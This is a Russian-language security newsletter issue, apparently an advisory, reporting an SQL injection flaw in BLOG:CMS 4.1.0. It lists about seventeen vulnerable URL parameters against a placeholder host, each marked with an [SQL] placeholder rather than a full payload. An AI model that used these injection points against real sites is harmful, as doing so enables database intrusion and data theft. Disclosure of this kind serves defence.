Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в BLOG:CMS.


Компьютер для продвинутых пользователей
В этом выпуске:
BLOG:CMS
ПО: BLOG:CMS
Версия: 4.1.0

Уязвимость:
Возможна SQL-инъекция, благодаря тому, что многие данные не проходят проверку при выполнении.
Использование:
http://target.xx/?1'[SQL]
http://target.xx/?item='[SQL]
http://target.xx/?blog='[SQL]
http://target.xx/?member='[SQL]
http://target.xx/?typeface=1'[SQL]
http://target.xx/?results='[SQL]
http://target.xx/?DokuWiki='[SQL]
http://target.xx/?archives='[SQL]
http://target.xx/?category='[SQL]
http://target.xx/?PHPSESSID='[SQL]
http://target.xx/?results=1&blog='[SQL]
http://target.xx/?results=1&item='[SQL]
http://target.xx/?member=admin&category='[SQL]
http://target.xx/?query='[SQL]&amount=0&blogid=1
http://target.xx/?query=1&amount='[SQL]&blogid=1
http://target.xx/?query=1&amount=0&blogid='[SQL]
http://target.xx/action.php?action=votepositive&itemid=1'[SQL]
Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru

В избранное